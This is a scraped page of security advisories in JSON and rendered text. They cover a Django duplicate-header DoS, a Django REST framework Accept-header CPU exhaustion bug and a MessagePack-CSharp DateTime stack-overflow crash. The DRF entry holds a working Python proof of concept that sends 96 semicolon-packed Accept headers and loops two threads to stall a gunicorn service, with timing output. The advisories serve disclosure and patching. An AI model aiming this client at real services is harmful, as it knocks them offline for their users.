    "github_reviewed": true,
    "github_reviewed_at": "2026-02-03T19:29:47Z",
    "nvd_published_at": "2026-02-03T15:16:11Z",
    "severity": "LOW"
  },
  "details": "An issue was discovered in 6.0 before 6.0.2, 5.2 before 5.2.11, and 4.2 before 4.2.28.\n\n`ASGIRequest` allows a remote attacker to cause a potential denial-of-service via a crafted request with multiple duplicate headers.\nEarlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.\n\nDjango would like to thank Jiyong Yang for reporting this issue.",
  "id": "GHSA-33mw-q7rj-mjwj",
  "modified": "2026-06-05T16:24:05Z",
  "published": "2026-02-03T15:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14550"
    },
    {
      "type": "WEB",
      "url": "https://github.com/django/django/commit/eb22e1d6d643360e952609ef562c139a100ea4eb"
    },
    {
      "type": "WEB",
      "url": "https://docs.djangoproject.com/en/dev/releases/security"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/django/django"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/django/PYSEC-2026-43.yaml"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/g/django-announce"
    },
    {
      "type": "WEB",
      "url": "https://www.djangoproject.com/weblog/2026/feb/03/security-releases"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Django has Inefficient Algorithmic Complexity"
}

GHSA-33WH-FXXF-88VV

Vulnerability from github – Published: 2026-10-22 16:17 – Updated: 2026-10-22 16:17
VLAI
Summary
Django REST framework: Accept header with many large quoted parameters burns ~19s of CPU per request in content negotiation
Details

Summary

DRF's content negotiation parses each Accept token several times per request and never limits the number of tokens or their total size. Each parse ends up in Django's parse_header_parameters, which takes quadratic time when a quoted parameter value is packed with semicolons. On my machine a single GET with a 780KB Accept header made of 96 such tokens kept one gunicorn worker busy for 18.87 seconds (Django 6.1, djangorestframework 3.18.0, gunicorn 26.0.0, Python 3.13, Docker on macOS). The header is syntactically valid, fits inside gunicorn's default header limits, and needs no authentication. Two concurrent requests, which is one per sync worker, made a default two worker deployment stop answering for my whole 40 second test window. It recovered half a second after I stopped sending.

Details

What happens

get_accept_list() splits the Accept header on commas with no cap on token count or total size, at rest_framework/negotiation.py:96-97.

For every token, select_renderer() calls media_type_matches() once per renderer, and each call builds fresh _MediaType objects for both sides, at rest_framework/negotiation.py:53-56 and rest_framework/utils/mediatypes.py:22-23. _MediaType.__init__ calls django.utils.http.parse_header_parameters unconditionally, at rest_framework/utils/mediatypes.py:47.

When nothing matches, DRF raises NotAcceptable (406). Rendering that error response also needs a renderer, so finalize_response() runs the entire negotiation a second time through perform_content_negotiation(force=True), at rest_framework/views.py:434-437.

With the default two renderers this comes to about six parses per Accept token per request. I confirmed the count by instrumenting _MediaType with a counter: six per token, three from the normal pass and three from the forced re-negotiation.

The quadratic part is on the Django side. parse_header_parameters splits parameters with _parseparam, which handles quoted values by recounting the quote characters from the start of the string for every candidate separator, the s.count('"', 0, end) calls in django/utils/http.py. A quoted value holding k semicolons costs roughly k rescans over k characters, so a single ~8KB value takes about 31ms per parse here.

Numbers from my runs, measured as utime+stime deltas of the server process:

one token, ~9KB: 230ms server CPU 24 tokens, 216KB: 5.07s on runserver, which has no per field limit 48 tokens, 432KB: 10.08s on runserver 96 tokens, 780KB: 18.87s under gunicorn defaults

Wall time matched CPU time in every run, so this is pure CPU work. RSS stayed flat at 57MB throughout, this is a time attack and not a memory one.

A few details that matter for reproducing it:

Django rejects a single media type string longer than 10,000 chars (MAX_HEADER_LENGTH), so each token has to stay just under that. Going over gives you a ValueError and a 500, which is a different and much weaker problem.

gunicorn defaults are limit_request_field_size 8190 and limit_request_fields 100, so the working shape is 96 separate Accept fields with one ~8.1KB token each. That puts the single request ceiling near 19s, below the default 30s worker timeout, so one request alone does not get a stock gunicorn worker killed by the arbiter. It does not need to. Each request pins one sync worker for its full duration, so on two workers, two held connections wedge the service.

order_by_precedence collects tokens into a set, so identical tokens collapse and the cost mostly disappears. Each token needs its own parameter name, x0=, x1=, x2= and so on.

Where a fix could go, either of these alone would be enough:

Parse each Accept token once per request and reuse the result in the matching loop and in the 406 re-negotiation.

Put an aggregate budget in get_accept_list(), say 8KB total or 64 tokens, and treat anything past it as not acceptable.

The quadratic behavior itself lives in Django's parser, but DRF is the one calling it six times per token with no cap on how many tokens there are, so both fixes look like DRF changes to me.

PoC

Verified end to end on Docker Desktop for macOS (Apple Silicon, 8 cores), python:3.13-slim image, Django 6.1, djangorestframework 3.18.0, gunicorn 26.0.0. Nothing was configured beyond defaults.

Minimal target, any default DRF project works, this is the one I used.

requirements.txt:

django==6.1
djangorestframework==3.18.0
gunicorn==26.0.0

pocproj/settings.py:

SECRET_KEY = 'poc'; DEBUG = False; ALLOWED_HOSTS = ['*']
INSTALLED_APPS = ['django.contrib.contenttypes', 'django.contrib.auth', 'rest_framework']
ROOT_URLCONF = 'pocproj.urls'; WSGI_APPLICATION = 'pocproj.wsgi.application'
DATABASES = {'default': {'ENGINE': 'django.db.backends.sqlite3', 'NAME': ':memory:'}}
USE_TZ = True

pocproj/api.py:

from rest_framework.views import APIView
from rest_framework.response import Response

class Items(APIView):
    def get(self, request):
        return Response([{'id': 1, 'name': 'ok'}])

pocproj/urls.py:

from django.urls import path
from .api import Items
urlpatterns = [path('items/', Items.as_view())]

Start it:

python manage.py migrate --noinput
gunicorn pocproj.wsgi:application --bind 0.0.0.0:8000 --workers 2

Client, stdlib only, run with python3:

import http.client, threading, time

TARGET = ('localhost', 8000)

def fields(n=96, semis=8100):
    # 8100 semicolons keeps each field under gunicorn's limit_request_field_size
    # (8190) and each token under Django's MAX_HEADER_LENGTH (10000). Distinct
    # x{i} names stop order_by_precedence from deduplicating the tokens.
    return [f'text/x-poc{i}; x{i}="' + ';'*semis + '"' for i in range(n)]

def burn():
    c = http.client.HTTPConnection(*TARGET, timeout=120)
    c.putrequest('GET', '/items/', skip_accept_encoding=True)
    for f in fields():
        c.putheader('Accept', f)
    c.endheaders()
    r = c.getresponse(); r.read(); c.close()
    return r.status

t = time.perf_counter()
print('single:', burn(), f'{time.perf_counter()-t:.2f}s')
# printed: single: 406 18.87s, baseline GET on the same endpoint is 0.03s

stop = False

def loop():
    while not stop:
        try:
            burn()
        except Exception:
            pass

ts = [threading.Thread(target=loop, daemon=True) for _ in range(2)]
for x in ts:
    x.start()
for _ in range(9):
    time.sleep(2)
    try:
        c = http.client.HTTPConnection(*TARGET, timeout=3)
        c.request('GET', '/items/', headers={'Accept': 'application/json'})
        r = c.getresponse(); r.read(); c.close()
        print('health: 200')
    except Exception as e:
        print('health: DEAD', type(e).__name__)
stop = True

# printed over 40s: health DEAD at t=2, 7, 12, 22, 27, 32, 37, 42, so 8 of 9
# probes hit the 3s timeout, and one 200 slipped through at t=17 while a worker
# was between requests. after stop, one more probe timed out while the in-flight
# request finished, then 200 in 0.57s.

Impact

Availability only, no confidentiality or integrity impact. Any endpoint the attacker can reach is affected, public ones with no authentication at all. On a stock gunicorn setup with two sync workers, two held connections are enough to stop the service for as long as the attacker keeps them, and one request alone costs about 19 seconds of one core. Recovery is immediate once the attack stops, there is no lasting damage.

The requests are valid HTTP and get answered with 406, so they show up in access logs, but nothing about them is malformed, so filters that look for bad requests will not catch them. DRF throttling runs before content negotiation and would cut the rate if configured, but the default configuration ships with no throttle classes, and each request that does get through still costs the full 19 seconds.

The negotiation structure, meaning the uncapped token split, the per-renderer re-parsing, and the 406 re-negotiation, has been in place since 2012. The call switched to parse_header_parameters in July 2022 in #8556. I verified the behavior on 3.18.0.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "djangorestframework"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.18.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-114138"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-22T16:17:13Z",
    "nvd_published_at": "2026-10-21T21:17:56Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nDRF\u0027s content negotiation parses each Accept token several times per request and never limits the number of tokens or their total size. Each parse ends up in Django\u0027s parse_header_parameters, which takes quadratic time when a quoted parameter value is packed with semicolons. On my machine a single GET with a 780KB Accept header made of 96 such tokens kept one gunicorn worker busy for 18.87 seconds (Django 6.1, djangorestframework 3.18.0, gunicorn 26.0.0, Python 3.13, Docker on macOS). The header is syntactically valid, fits inside gunicorn\u0027s default header limits, and needs no authentication. Two concurrent requests, which is one per sync worker, made a default two worker deployment stop answering for my whole 40 second test window. It recovered half a second after I stopped sending.\n\n\n### Details\n\n#### What happens\n\nget_accept_list() splits the Accept header on commas with no cap on token count or total size, at rest_framework/negotiation.py:96-97.\n\nFor every token, select_renderer() calls media_type_matches() once per renderer, and each call builds fresh _MediaType objects for both sides, at rest_framework/negotiation.py:53-56 and rest_framework/utils/mediatypes.py:22-23. `_MediaType.__init__` calls django.utils.http.parse_header_parameters unconditionally, at rest_framework/utils/mediatypes.py:47.\n\nWhen nothing matches, DRF raises NotAcceptable (406). Rendering that error response also needs a renderer, so finalize_response() runs the entire negotiation a second time through perform_content_negotiation(force=True), at rest_framework/views.py:434-437.\n\nWith the default two renderers this comes to about six parses per Accept token per request. I confirmed the count by instrumenting _MediaType with a counter: six per token, three from the normal pass and three from the forced re-negotiation.\n\nThe quadratic part is on the Django side. parse_header_parameters splits parameters with _parseparam, which handles quoted values by recounting the quote characters from the start of the string for every candidate separator, the s.count(\u0027\"\u0027, 0, end) calls in django/utils/http.py. A quoted value holding k semicolons costs roughly k rescans over k characters, so a single ~8KB value takes about 31ms per parse here.\n\nNumbers from my runs, measured as utime+stime deltas of the server process:\n\none token, ~9KB: 230ms server CPU\n24 tokens, 216KB: 5.07s on runserver, which has no per field limit\n48 tokens, 432KB: 10.08s on runserver\n96 tokens, 780KB: 18.87s under gunicorn defaults\n\nWall time matched CPU time in every run, so this is pure CPU work. RSS stayed flat at 57MB throughout, this is a time attack and not a memory one.\n\n#### A few details that matter for reproducing it:\n\nDjango rejects a single media type string longer than 10,000 chars (MAX_HEADER_LENGTH), so each token has to stay just under that. Going over gives you a ValueError and a 500, which is a different and much weaker problem.\n\ngunicorn defaults are limit_request_field_size 8190 and limit_request_fields 100, so the working shape is 96 separate Accept fields with one ~8.1KB token each. That puts the single request ceiling near 19s, below the default 30s worker timeout, so one request alone does not get a stock gunicorn worker killed by the arbiter. It does not need to. Each request pins one sync worker for its full duration, so on two workers, two held connections wedge the service.\n\norder_by_precedence collects tokens into a set, so identical tokens collapse and the cost mostly disappears. Each token needs its own parameter name, x0=, x1=, x2= and so on.\n\n#### Where a fix could go, either of these alone would be enough:\n\nParse each Accept token once per request and reuse the result in the matching loop and in the 406 re-negotiation.\n\nPut an aggregate budget in get_accept_list(), say 8KB total or 64 tokens, and treat anything past it as not acceptable.\n\nThe quadratic behavior itself lives in Django\u0027s parser, but DRF is the one calling it six times per token with no cap on how many tokens there are, so both fixes look like DRF changes to me.\n\n\n### PoC\n\nVerified end to end on Docker Desktop for macOS (Apple Silicon, 8 cores), python:3.13-slim image, Django 6.1, djangorestframework 3.18.0, gunicorn 26.0.0. Nothing was configured beyond defaults.\n\nMinimal target, any default DRF project works, this is the one I used.\n\nrequirements.txt:\n\n    django==6.1\n    djangorestframework==3.18.0\n    gunicorn==26.0.0\n\npocproj/settings.py:\n```python\nSECRET_KEY = \u0027poc\u0027; DEBUG = False; ALLOWED_HOSTS = [\u0027*\u0027]\nINSTALLED_APPS = [\u0027django.contrib.contenttypes\u0027, \u0027django.contrib.auth\u0027, \u0027rest_framework\u0027]\nROOT_URLCONF = \u0027pocproj.urls\u0027; WSGI_APPLICATION = \u0027pocproj.wsgi.application\u0027\nDATABASES = {\u0027default\u0027: {\u0027ENGINE\u0027: \u0027django.db.backends.sqlite3\u0027, \u0027NAME\u0027: \u0027:memory:\u0027}}\nUSE_TZ = True\n```\n\npocproj/api.py:\n```python\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\n\nclass Items(APIView):\n    def get(self, request):\n        return Response([{\u0027id\u0027: 1, \u0027name\u0027: \u0027ok\u0027}])\n```\n\npocproj/urls.py:\n```python\nfrom django.urls import path\nfrom .api import Items\nurlpatterns = [path(\u0027items/\u0027, Items.as_view())]\n```\n\nStart it:\n\n    python manage.py migrate --noinput\n    gunicorn pocproj.wsgi:application --bind 0.0.0.0:8000 --workers 2\n\nClient, stdlib only, run with python3:\n```python\nimport http.client, threading, time\n\nTARGET = (\u0027localhost\u0027, 8000)\n\ndef fields(n=96, semis=8100):\n    # 8100 semicolons keeps each field under gunicorn\u0027s limit_request_field_size\n    # (8190) and each token under Django\u0027s MAX_HEADER_LENGTH (10000). Distinct\n    # x{i} names stop order_by_precedence from deduplicating the tokens.\n    return [f\u0027text/x-poc{i}; x{i}=\"\u0027 + \u0027;\u0027*semis + \u0027\"\u0027 for i in range(n)]\n\ndef burn():\n    c = http.client.HTTPConnection(*TARGET, timeout=120)\n    c.putrequest(\u0027GET\u0027, \u0027/items/\u0027, skip_accept_encoding=True)\n    for f in fields():\n        c.putheader(\u0027Accept\u0027, f)\n    c.endheaders()\n    r = c.getresponse(); r.read(); c.close()\n    return r.status\n\nt = time.perf_counter()\nprint(\u0027single:\u0027, burn(), f\u0027{time.perf_counter()-t:.2f}s\u0027)\n# printed: single: 406 18.87s, baseline GET on the same endpoint is 0.03s\n\nstop = False\n\ndef loop():\n    while not stop:\n        try:\n            burn()\n        except Exception:\n            pass\n\nts = [threading.Thread(target=loop, daemon=True) for _ in range(2)]\nfor x in ts:\n    x.start()\nfor _ in range(9):\n    time.sleep(2)\n    try:\n        c = http.client.HTTPConnection(*TARGET, timeout=3)\n        c.request(\u0027GET\u0027, \u0027/items/\u0027, headers={\u0027Accept\u0027: \u0027application/json\u0027})\n        r = c.getresponse(); r.read(); c.close()\n        print(\u0027health: 200\u0027)\n    except Exception as e:\n        print(\u0027health: DEAD\u0027, type(e).__name__)\nstop = True\n\n# printed over 40s: health DEAD at t=2, 7, 12, 22, 27, 32, 37, 42, so 8 of 9\n# probes hit the 3s timeout, and one 200 slipped through at t=17 while a worker\n# was between requests. after stop, one more probe timed out while the in-flight\n# request finished, then 200 in 0.57s.\n```\n\n### Impact\n\nAvailability only, no confidentiality or integrity impact. Any endpoint the attacker can reach is affected, public ones with no authentication at all. On a stock gunicorn setup with two sync workers, two held connections are enough to stop the service for as long as the attacker keeps them, and one request alone costs about 19 seconds of one core. Recovery is immediate once the attack stops, there is no lasting damage.\n\nThe requests are valid HTTP and get answered with 406, so they show up in access logs, but nothing about them is malformed, so filters that look for bad requests will not catch them. DRF throttling runs before content negotiation and would cut the rate if configured, but the default configuration ships with no throttle classes, and each request that does get through still costs the full 19 seconds.\n\nThe negotiation structure, meaning the uncapped token split, the per-renderer re-parsing, and the 406 re-negotiation, has been in place since 2012. The call switched to parse_header_parameters in July 2022 in #8556. I verified the behavior on 3.18.0.",
  "id": "GHSA-33wh-fxxf-88vv",
  "modified": "2026-10-22T16:17:13Z",
  "published": "2026-10-22T16:17:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/encode/django-rest-framework/security/advisories/GHSA-33wh-fxxf-88vv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-114138"
    },
    {
      "type": "WEB",
      "url": "https://github.com/encode/django-rest-framework/commit/148ab6523922d5a0c110f76615935e5220b63029"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/encode/django-rest-framework"
    },
    {
      "type": "WEB",
      "url": "https://github.com/encode/django-rest-framework/releases/tag/3.18.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Django REST framework: Accept header with many large quoted parameters burns ~19s of CPU per request in content negotiation"
}

GHSA-382J-8MXH-C7X2

Vulnerability from github – Published: 2026-06-25 18:35 – Updated: 2026-06-25 18:35
VLAI
Summary
MessagePack-CSharp: Denial of service vulnerabilities can swamp the CPU or crash the process with stack and heap overflows
Details

Summary

MessagePackReader.ReadDateTime() can allocate stack memory based on an attacker-controlled MessagePack extension length. In the slow path for timestamp extension parsing, the computed tokenSize includes the extension body length from the wire and is used in a stackalloc operation before the extension length is validated as one of the valid timestamp sizes.

A very small payload can claim a large timestamp extension body and cause a stack allocation large enough to trigger an uncatchable StackOverflowException, terminating the host process.

Impact

Applications are affected when they deserialize untrusted payloads into types containing DateTime values. This path is available through the standard formatter set and does not require opting into typeless serialization, LZ4 compression, Unity-specific resolvers, or other specialized features.

MessagePackSecurity.UntrustedData and MaximumObjectGraphDepth do not mitigate this issue because the crash is caused by a single-frame stack allocation, not by object graph recursion.

An attacker can send a MessagePack timestamp extension header with an oversized body length and insufficient body bytes. The reader enters the slow path, attempts to stack-allocate a buffer sized from that declared length, and can terminate the process before a catchable serialization exception is thrown.

Affected components

  • Package: MessagePack
  • API: MessagePackReader.ReadDateTime
  • Data types: DateTime and formatter paths that call ReadDateTime
  • Finding IDs: MESSAGEPACKCSHARP-020, related stack allocation finding MESSAGEPACKCSHARP-CROW-MEM-001

Patches

Fixes are prepared and will be released in coordinated patch versions.

Upgrade guidance:

  1. Upgrade MessagePack to the patched version for your release line.
  2. Upgrade companion MessagePack packages in the same dependency graph to the coordinated patched versions.

The fix should validate timestamp extension lengths before any stack allocation. Valid MessagePack timestamp payload lengths are limited to the supported timestamp encodings, so oversized extension lengths should fail with a catchable MessagePack serialization exception before the slow path allocates a buffer.

Workarounds

Patching is recommended.

Until a patched version is available, avoid deserializing untrusted MessagePack payloads into schemas that contain DateTime or DateTimeOffset values. Where possible, enforce strict maximum message sizes and reject malformed extension payloads before they reach MessagePack-CSharp.

There is no complete workaround for applications that must deserialize attacker-controlled MessagePack data containing date/time fields with affected versions.

Resources

  • MESSAGEPACKCSHARP-020: ReadDateTime stack allocation from attacker-controlled extension length
  • MESSAGEPACKCSHARP-CROW-MEM-001: related attacker-controlled stack allocation finding in MessagePackReader
  • CWE-770: Allocation of Resources Without Limits or Throttling

CVE split rationale

This vulnerability is independently fixable in the DateTime extension parsing path by validating extension lengths before stack allocation. It is separate from recursive stack overflows, LZ4 issues, and collection allocation bugs.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "MessagePack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0"
            },
            {
              "fixed": "3.1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48502"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-125",
      "CWE-190",
      "CWE-407",
      "CWE-409",
      "CWE-470",
      "CWE-502",
      "CWE-674",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-25T18:35:48Z",
    "nvd_published_at": "2026-06-22T22:16:47Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`MessagePackReader.ReadDateTime()` can allocate stack memory based on an attacker-controlled MessagePack extension length. In the slow path for timestamp extension parsing, the computed `tokenSize` includes the extension body length from the wire and is used in a `stackalloc` operation before the extension length is validated as one of the valid timestamp sizes.\n\nA very small payload can claim a large timestamp extension body and cause a stack allocation large enough to trigger an uncatchable `StackOverflowException`, terminating the host process.\n\n## Impact\n\nApplications are affected when they deserialize untrusted payloads into types containing `DateTime` values. This path is available through the standard formatter set and does not require opting into typeless serialization, LZ4 compression, Unity-specific resolvers, or other specialized features.\n\n`MessagePackSecurity.UntrustedData` and `MaximumObjectGraphDepth` do not mitigate this issue because the crash is caused by a single-frame stack allocation, not by object graph recursion.\n\nAn attacker can send a MessagePack timestamp extension header with an oversized body length and insufficient body bytes. The reader enters the slow path, attempts to stack-allocate a buffer sized from that declared length, and can terminate the process before a catchable serialization exception is thrown.\n\n## Affected components\n\n- Package: `MessagePack`\n- API: `MessagePackReader.ReadDateTime`\n- Data types: `DateTime` and formatter paths that call `ReadDateTime`\n- Finding IDs: `MESSAGEPACKCSHARP-020`, related stack allocation finding `MESSAGEPACKCSHARP-CROW-MEM-001`\n\n## Patches\n\nFixes are prepared and will be released in coordinated patch versions.\n\nUpgrade guidance:\n\n1. Upgrade `MessagePack` to the patched version for your release line.\n2. Upgrade companion MessagePack packages in the same dependency graph to the coordinated patched versions.\n\nThe fix should validate timestamp extension lengths before any stack allocation. Valid MessagePack timestamp payload lengths are limited to the supported timestamp encodings, so oversized extension lengths should fail with a catchable MessagePack serialization exception before the slow path allocates a buffer.\n\n## Workarounds\n\nPatching is recommended.\n\nUntil a patched version is available, avoid deserializing untrusted MessagePack payloads into schemas that contain `DateTime` or `DateTimeOffset` values. Where possible, enforce strict maximum message sizes and reject malformed extension payloads before they reach MessagePack-CSharp.\n\nThere is no complete workaround for applications that must deserialize attacker-controlled MessagePack data containing date/time fields with affected versions.\n\n## Resources\n\n- `MESSAGEPACKCSHARP-020`: `ReadDateTime` stack allocation from attacker-controlled extension length\n- `MESSAGEPACKCSHARP-CROW-MEM-001`: related attacker-controlled stack allocation finding in `MessagePackReader`\n- CWE-770: Allocation of Resources Without Limits or Throttling\n\n## CVE split rationale\n\nThis vulnerability is independently fixable in the DateTime extension parsing path by validating extension lengths before stack allocation. It is separate from recursive stack overflows, LZ4 issues, and collection allocation bugs.",
  "id": "GHSA-382j-8mxh-c7x2",
  "modified": "2026-06-25T18:35:48Z",
  "published": "2026-06-25T18:35:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MessagePack-CSharp/MessagePack-CSharp/security/advisories/GHSA-382j-8mxh-c7x2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48502"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MessagePack-CSharp/MessagePack-CSharp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MessagePack-CSharp: Denial of service vulnerabilities can swamp the CPU or crash the process with stack and heap overflows"
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.